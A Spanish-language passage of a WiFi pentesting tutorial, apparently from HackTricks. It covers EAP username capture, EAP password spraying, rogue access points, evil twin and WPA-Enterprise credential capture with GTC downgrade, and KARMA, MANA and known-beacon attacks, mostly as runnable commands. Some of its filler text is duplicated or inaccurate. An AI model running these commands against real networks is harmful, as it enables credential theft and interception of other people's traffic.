Leyendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que si estás utilizando **EAP**, los mensajes de **"Identidad"** deben ser compatibles y el nombre de usuario se enviará en claro en los mensajes de **"Respuesta de Identidad"**.
Incluso utilizando uno de los métodos de autenticación más seguros, como **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **capture una comunicación de autenticación** (inicie `airodump-ng` en un canal y `wireshark` en la misma interfaz) y filtre los paquetes por `eapol`.\
Dentro del paquete "**Respuesta, Identidad**", aparecerá el **nombre de usuario** del cliente.
![](<../../.gitbook/assets/image (150).png>)
### Identidades anónimas
(Información tomada de [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm))
Tanto **EAP-PEAP como EAP-TTLS admiten ocultar la identidad**. En un entorno WiFi, el punto de acceso (AP) generalmente genera una solicitud de EAP-Identidad como parte del proceso de asociación. Para preservar el anonimato, el cliente EAP en el sistema del usuario puede responder con la información suficiente para permitir que el servidor RADIUS de primer salto procese la solicitud, como se muestra en los siguientes ejemplos.
* _**EAP-Identidad = anónimo**_
> En este ejemplo, todos los usuarios compartirán el seudonombre de usuario "anónimo". El servidor RADIUS de primer salto es un servidor EAP-PEAP o EAP-TTLS que realiza la función de servidor final del protocolo PEAP o TTLS. El tipo de autenticación interno (protegido) se manejará localmente o se enviará a un servidor RADIUS remoto (doméstico).
* _**EAP-Identidad = anónimo@realm\_x**_
> En este ejemplo, los usuarios que pertenecen a diferentes dominios ocultan su propia identidad, pero indican a qué dominio pertenecen para que el servidor RADIUS de primer salto pueda enviar las solicitudes EAP-PEAP o EAP-TTLS a servidores RADIUS en sus dominios de origen, que actuarán como servidores PEAP o TTLS. El servidor de primer salto actúa únicamente como un nodo de retransmisión RADIUS.
>
> Alternativamente, el servidor de primer salto puede actuar como el servidor EAP-PEAP o EAP-TTLS y procesar el método de autenticación protegido o enviarlo a otro servidor. Esta opción se puede utilizar para configurar diferentes políticas para diferentes dominios.
En EAP-PEAP, una vez que el servidor PEAP y el cliente PEAP establecen el túnel TLS, el servidor PEAP genera una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel cifrado. Esto evita que cualquier persona que esté interceptando el tráfico 802.11 descubra la verdadera identidad del usuario.
EAP-TTLS funciona de manera ligeramente diferente. Con EAP-TTLS, el cliente generalmente se autentica mediante PAP o CHAP protegido por el túnel TLS. En este caso, el cliente incluirá un atributo User-Name y un atributo Password o CHAP-Password en el primer mensaje TLS enviado después de establecer el túnel.
Con cualquiera de los dos protocolos, el servidor PEAP/TTLS aprende la verdadera identidad del usuario una vez que se ha establecido el túnel TLS. La verdadera identidad puede estar en forma de _**usuario@dominio**_ o simplemente _**usuario**_. Si el servidor PEAP/TTLS también está autenticando al _**usuario**_, ahora conoce la identidad del usuario y continúa con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede enviar una nueva solicitud RADIUS al servidor RADIUS doméstico del usuario. Esta nueva solicitud RADIUS tiene el protocolo PEAP o TTLS eliminado. Si el método de autenticación protegido es EAP, los mensajes EAP internos se transmiten al servidor RADIUS doméstico sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, no la identidad anónima del atributo User-Name de la solicitud RADIUS entrante. Si el método de autenticación protegido es PAP o CHAP (solo admitido por TTLS), los atributos User-Name y otras atributos de autenticación recuperados de la carga útil TLS se colocan en el mensaje RADIUS saliente en lugar de la identidad anónima del atributo User-Name y los atributos EAP-Message de TTLS incluidos en la solicitud RADIUS entrante.
### EAP-Bruteforce (ataque de contraseña por pulverización)
Si se espera que el cliente utilice un **nombre de usuario y contraseña** (ten en cuenta que **EAP-TLS no será válido** en este caso), entonces podrías intentar obtener una **lista** de **nombres de usuario** (ver siguiente parte) y **contraseñas** e intentar **atacar por fuerza bruta** el acceso utilizando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
También puedes realizar este ataque utilizando `eaphammer`:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
```
## Teoría de ataques al cliente
### Selección de red y roaming
Aunque el protocolo 802.11 tiene reglas muy específicas que dictan cómo una estación puede unirse a un ESS, no especifica cómo la estación debe seleccionar un ESS al que conectarse. Además, el protocolo permite a las estaciones moverse libremente entre puntos de acceso que comparten el mismo ESSID (porque no querrías perder la conectividad WiFi al caminar de un extremo de un edificio a otro, etc). Sin embargo, el protocolo 802.11 no especifica cómo se deben seleccionar estos puntos de acceso. Además, aunque las estaciones deben autenticarse en el ESS para asociarse con un punto de acceso, el protocolo 802.11 no requiere que el punto de acceso se autentique en la estación.
### Listas de redes preferidas (PNL)
Cada vez que una estación se conecta a una red inalámbrica, el ESSID de la red se guarda en la Lista de Redes Preferidas (PNL) de la estación. La PNL es una lista ordenada de todas las redes a las que la estación se ha conectado en el pasado, y cada entrada en la PNL contiene el ESSID de la red y cualquier información de configuración específica de la red necesaria para establecer una conexión.
### Escaneo pasivo
En las redes de infraestructura, los puntos de acceso transmiten periódicamente tramas de balizas para anunciar su presencia y capacidades a las estaciones cercanas. Las balizas son tramas de difusión, lo que significa que están destinadas a ser recibidas por todas las estaciones cercanas dentro del alcance. Las balizas incluyen información sobre las tasas admitidas por el AP, las capacidades de cifrado, información adicional y, lo más importante, las tramas de balizas contienen el ESSID del AP (si la difusión del ESSID no está desactivada).
Durante el escaneo pasivo, el dispositivo cliente escucha las tramas de balizas de los puntos de acceso cercanos. Si el dispositivo cliente recibe una trama de baliza cuyo campo ESSID coincide con un ESSID de la PNL del cliente, el cliente se conectará automáticamente al punto de acceso que envió la trama de baliza. Luego, supongamos que queremos atacar un dispositivo inalámbrico que no está conectado actualmente a ninguna red inalámbrica. Si conocemos al menos una entrada en la PNL de ese cliente, podemos forzar al cliente a que se conecte a nosotros simplemente creando nuestro propio punto de acceso con el ESSID de esa entrada.
### Sondeo activo
El segundo algoritmo de selección de red utilizado en 802.11 se conoce como Sondeo Activo. Los dispositivos cliente que utilizan el sondeo activo transmiten continuamente tramas de solicitud de sondeo para determinar qué AP están dentro del alcance, así como cuáles son sus capacidades. Las solicitudes de sondeo se presentan en dos formas: dirigidas y de difusión. Las solicitudes de sondeo dirigidas están dirigidas a un ESSID específico y son la forma en que el cliente verifica si una red específica está cerca.
Los clientes que utilizan el sondeo dirigido enviarán solicitudes de sondeo para cada red en su PNL. Cabe destacar que el sondeo dirigido es la única forma de identificar la presencia de redes ocultas cercanas. Las solicitudes de sondeo de difusión funcionan casi de la misma manera, pero se envían con el campo SSID configurado como NULL. Esto dirige la solicitud de sondeo de difusión a todos los puntos de acceso cercanos, lo que permite a la estación verificar si alguna de sus redes preferidas está cerca sin revelar el contenido de su PNL.
## AP simple con redirección a Internet
Antes de explicar cómo realizar ataques más complejos, se explicará cómo simplemente crear un AP y redirigir su tráfico a una interfaz conectada a Internet.
Usando `ifconfig -a`, verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes.
### DHCP y DNS
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
Crea un archivo de configuración _/etc/dnsmasq.conf_ de la siguiente manera:
```
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
```
Luego, **configura las IPs** y **rutas**:
```
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
Y luego **inicia** dnsmasq:
```
dnsmasq -C dnsmasq.conf -d
```
### hostapd
hostapd es un daemon de punto de acceso inalámbrico que se utiliza en pruebas de penetración de redes Wi-Fi. Permite a los hackers simular un punto de acceso legítimo y realizar ataques de fuerza bruta, de autenticación y de denegación de servicio en redes inalámbricas. hostapd se puede utilizar para probar la seguridad de una red Wi-Fi y descubrir posibles vulnerabilidades. Es una herramienta esencial en el arsenal de un hacker para evaluar la seguridad de las redes inalámbricas.
```
apt-get install hostapd
```
Crear un archivo de configuración _hostapd.conf:_
```
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**Detener procesos molestos**, establecer el **modo monitor** y **iniciar hostapd**:
```bash
# Stop annoying processes
sudo airmon-ng check kill
# Set monitor mode
sudo airmon-ng start wlan0
# Start hostapd
sudo hostapd /etc/hostapd/hostapd.conf
```
**Detener procesos molestos**, establecer el **modo monitor** y **iniciar hostapd**:
```bash
# Detener procesos molestos
sudo airmon-ng check kill
# Establecer modo monitor
sudo airmon-ng start wlan0
# Iniciar hostapd
sudo hostapd /etc/hostapd/hostapd.conf
```
```
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```
### Reenvío y Redirección
Forwarding and redirection are techniques used in network traffic manipulation to redirect data packets from one destination to another. These techniques are commonly used in pentesting WiFi networks to intercept and redirect network traffic for analysis and exploitation.
#### Forwarding
Forwarding involves capturing network traffic and forwarding it to a different destination than originally intended. This can be done by configuring the network devices, such as routers or switches, to redirect the traffic to a specific IP address or port. By intercepting the traffic, a pentester can analyze it for vulnerabilities or perform attacks on the target network.
#### Redirection
Redirection, on the other hand, involves redirecting network traffic to a different network or device. This can be achieved by manipulating the network settings or by using tools that redirect traffic to a specific IP address or port. Redirection can be useful in pentesting to redirect traffic to a controlled environment, such as a virtual machine or a proxy server, where it can be analyzed and manipulated.
Both forwarding and redirection techniques are valuable in pentesting WiFi networks as they allow the pentester to intercept and manipulate network traffic for various purposes, including vulnerability assessment, traffic analysis, and exploitation. However, it is important to use these techniques responsibly and with proper authorization to avoid any legal consequences.
```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
Un ataque de evil twin es un tipo de ataque Wi-Fi que aprovecha el hecho de que la mayoría de las computadoras y teléfonos solo ven el "nombre" o ESSID de una red inalámbrica (ya que la estación base no necesita autenticarse con el cliente). Esto hace que sea muy difícil distinguir entre redes con el mismo nombre y el mismo tipo de cifrado. De hecho, muchas redes tienen varios puntos de acceso que extienden la red, todos usando el mismo nombre para ampliar el acceso sin confundir a los usuarios.
Debido a cómo funcionan los clientes (recuerda que el protocolo 802.11 permite a las estaciones moverse libremente entre puntos de acceso dentro del mismo ESS), es posible hacer que un dispositivo cambie la estación base a la que está conectado. Esto se puede lograr ofreciendo una señal mejor (lo cual no siempre es posible) o bloqueando el acceso a la estación base original (paquetes de desautenticación, interferencia o algún otro tipo de ataque de denegación de servicio).
También debes tener en cuenta que las implementaciones inalámbricas en el mundo real suelen tener más de un punto de acceso, y estos puntos de acceso suelen ser más potentes y tener un mejor alcance visual debido a su ubicación en el techo. Desautenticar un solo punto de acceso generalmente resulta en que el objetivo se mueva hacia otro punto de acceso válido en lugar de tu AP falso, a menos que se desautentiquen todos los puntos de acceso cercanos (ruidosos) o tengas mucho cuidado con la ubicación del AP falso (difícil).
Puedes crear un Evil Twin abierto muy básico (sin capacidad para enrutar el tráfico a Internet) haciendo lo siguiente:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
También puedes crear un Evil Twin utilizando **eaphammer** (ten en cuenta que para crear evil twins con eaphammer la interfaz **NO debe estar** en modo **monitor**):
```
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
O utilizando Airgeddon: `Opciones: 5,6,7,8,9 (dentro del menú de ataque Evil Twin).`
![](<../../.gitbook/assets/image (148).png>)
Por favor, ten en cuenta que por defecto, si un ESSID en la PNL está guardado como protegido por WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar hacer un DoS al AP real y esperar a que el usuario se conecte manualmente a tu Evil Twin abierto, o puedes hacer un DoS al AP real y usar un Evil Twin con WPA para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti, ya que no conoces la PSK, pero puedes capturar el handshake e intentar crackearlo).
_Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso..._
### Evil Twin con WPA/WPA2
Puedes crear un **Evil Twin utilizando WPA/2** y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. Sin embargo, **para completar el handshake de 4 vías** también necesitas **conocer** la **contraseña** que el cliente va a utilizar. Si **no la conoces**, la **conexión no se completará**.
```
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### Evil Twin Empresarial
Para comprender estos ataques, recomendaría leer primero la breve explicación de [WPA Enterprise](./#wpa-enterprise-mgt).
**Usando hostapd-wpe**
`hostapd-wpe` necesita un archivo de **configuración** para funcionar. Para **automatizar** la generación de estas configuraciones, puedes usar [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (descarga el archivo python dentro de _/etc/hostapd-wpe/_)
```
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
En el archivo de configuración puedes seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, credenciales/clave, parámetros dh, versión de wpa y autenticación...
[**Usando hostapd-wpe con EAP-TLS para permitir cualquier certificado para iniciar sesión.**](evil-twin-eap-tls.md)
**Usando EAPHammer**
```bash
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Por defecto, EAPHammer utiliza estos métodos de autenticación (nota que GTC es el primero en intentar obtener contraseñas en texto plano y luego se utilizan métodos de autenticación más robustos):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
Esta es la metodología predeterminada para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débiles a más fuertes:
```
--negotiate weakest
```
O también puedes usar:
* `--negotiate gtc-downgrade` para utilizar una implementación de degradación GTC altamente eficiente (contraseñas en texto plano).
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que sea mucho más difícil detectar el ataque).
* [Encuentra más información en la wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Usando Airgeddon**
`Airgeddon` puede utilizar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Luego, el atacante puede intentar descifrar la contraseña.\
`Airgeddon` te ofrece la posibilidad de un **ataque de Evil Twin continuo (ruidoso)** o **solo crear el ataque de Evil Twin hasta que alguien se conecte (discreto).**
![](<../../.gitbook/assets/image (129).png>)
### Depuración de túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins
_Este método se probó en una conexión PEAP, pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS._
Dentro de la **configuración** de _hostapd-wpe_, **comenta** la línea que contiene _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Esto hará que `hostapd-wpe` **intercambie claves utilizando RSA** en lugar de DH, por lo que podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**.
Ahora inicia el **Evil Twin** utilizando **`hostapd-wpe`** con esa configuración modificada como de costumbre. También, inicia **`wireshark`** en la **interfaz** que está realizando el ataque de Evil Twin.
Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación), puedes agregar la clave privada RSA a wireshark en: `Editar --> Preferencias --> Protocolos --> TLS --> (Lista de claves RSA) Editar...`
Agrega una nueva entrada y completa el formulario con estos valores: **Dirección IP = cualquier** -- **Puerto = 0** -- **Protocolo = datos** -- **Archivo de clave** (**selecciona tu archivo de clave**, para evitar problemas selecciona un archivo de clave **sin protección con contraseña**).
![](<../../.gitbook/assets/image (151).png>)
Y observa la nueva pestaña **"TLS descifrado"**:
![](<../../.gitbook/assets/image (152).png>)
## Ataque KARMA, MANA, Loud MANA y beacons conocidos
### Listas negras/blancas de ESSID y MAC
La siguiente tabla enumera los diferentes tipos de MFACLs (Listas de Control de Acceso a Marcos de Gestión) disponibles, así como sus efectos cuando se utilizan:
![](<../../.gitbook/assets/image (149).png>)
```
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
```
```
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
```
### KARMA
Los ataques Karma son una segunda forma de ataque de punto de acceso falso que explota el proceso de selección de red utilizado por las estaciones. En un documento técnico escrito en 2005, Dino Dai Zovi y Shane Macaulay describen cómo un atacante puede configurar un punto de acceso para escuchar las solicitudes de sondeo dirigidas y responder a todas ellas con respuestas de sondeo dirigidas coincidentes. Esto hace que las estaciones afectadas envíen automáticamente una solicitud de asociación al punto de acceso del atacante. El punto de acceso luego responde con una respuesta de asociación, lo que hace que las estaciones afectadas se conecten al atacante.
### MANA
Según Ian de Villiers y Dominic White, las estaciones modernas están diseñadas para protegerse contra los ataques Karma ignorando las respuestas de sondeo dirigidas de los puntos de acceso que aún no han respondido al menos a una solicitud de sondeo de difusión. Esto llevó a una disminución significativa en el número de estaciones vulnerables a los ataques Karma hasta 2015, cuando White y de Villiers desarrollaron un medio para eludir tales protecciones. En el ataque Karma mejorado de White y de Villiers (ataque MANA), las respuestas de sondeo dirigidas se utilizan para reconstruir las listas de puntos de acceso cercanos (PNL) de las estaciones. Cuando se recibe una solicitud de sondeo de difusión de una estación, el punto de acceso del atacante responde con un SSID arbitrario de la PNL de la estación que ya se ha visto en un sondeo directo desde ese dispositivo.
En resumen, el algoritmo MANA funciona de la siguiente manera: cada vez que el punto de acceso recibe una solicitud de sondeo, primero determina si es un sondeo de difusión o dirigido. Si es un sondeo dirigido, la dirección MAC del remitente se agrega a la tabla hash (si aún no está allí) y el ESSID se agrega a la PNL de ese dispositivo. El punto de acceso luego responde con una respuesta de sondeo dirigida. Si es un sondeo de difusión, el punto de acceso responde con respuestas de sondeo para cada una de las redes en la PNL de ese dispositivo.
Ataque MANA utilizando eaphammer:
```
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Ataque Loud MANA
Ten en cuenta que el ataque MANA estándar aún no nos permite atacar dispositivos que no utilizan sondas dirigidas en absoluto. Por lo tanto, si tampoco conocemos previamente ninguna entrada dentro del PNL del dispositivo, necesitamos encontrar alguna otra forma de atacarlo.
Una posibilidad es lo que se llama ataque Loud MANA. Este ataque se basa en la idea de que los dispositivos clientes que se encuentran en proximidad física cercana es probable que tengan al menos algunas entradas comunes en sus PNL.
En resumen, en lugar de responder a las solicitudes de sondeo con cada ESSID en el PNL de un dispositivo en particular, el AP malicioso envía respuestas de sondeo para cada ESSID en todos los PNL de todos los dispositivos que ha visto antes. Relacionando esto con la teoría de conjuntos, podemos decir que el AP envía respuestas de sondeo para cada ESSID en la unión de todos los PNL de los dispositivos cercanos.
```
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Ataque de Beacon Conocido
Aún existen casos en los que el ataque Loud MANA no tendrá éxito.\
El ataque de Beacon Conocido es una forma de "Fuerza Bruta" de los ESSID para intentar que la víctima se conecte al atacante. El atacante crea un AP que responde a cualquier ESSID y ejecuta un código que envía beacons falsificando los ESSID de cada nombre dentro de una lista de palabras. Con suerte, la víctima contendrá algunos de estos nombres de ESSID en su PNL y tratará de conectarse al AP falso.\
Eaphammer implementó este ataque como un ataque MANA donde se cargan todos los ESSID de una lista (también se puede combinar esto con `--loud` para crear un ataque Loud MANA + Beacon Conocido):
```
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Ataque de ráfaga de balizas conocidas**
Las balizas conocidas son llamativas. Puedes utilizar un script dentro del proyecto Eaphammer para lanzar rápidamente balizas con cada nombre de ESSID que se encuentre en un archivo. Si combinas este script con un ataque MANA de Eaphammer, los clientes podrán conectarse a tu punto de acceso.
```
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
```
## Wi-Fi Direct
Wi-Fi Direct es un estándar de Wi-Fi que permite que los dispositivos se conecten entre sí sin un punto de acceso inalámbrico, ya que uno de los dos dispositivos actuará como punto de acceso (llamado propietario del grupo). Puedes encontrar Wi-Fi Direct en muchos dispositivos de IoT como impresoras, televisores...
Wi-Fi Direct se basa en Wi-Fi Protected Setup (WPS) para conectar de forma segura los dispositivos. WPS tiene varios métodos de configuración como Configuración de botón de presión (PBC), entrada de PIN y Comunicación de campo cercano (NFC).
Por lo tanto, los ataques previamente vistos en el PIN de WPS también son válidos aquí si se utiliza el PIN.
### Secuestro de EvilDirect
Esto funciona como un Evil-Twin pero para Wi-Fi Direct, puedes hacerse pasar por un propietario de grupo para intentar que otros dispositivos como teléfonos se conecten a ti: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
## Referencias
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (inicio de sesión con Facebook e imitación de WPA en portales cautivos)
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).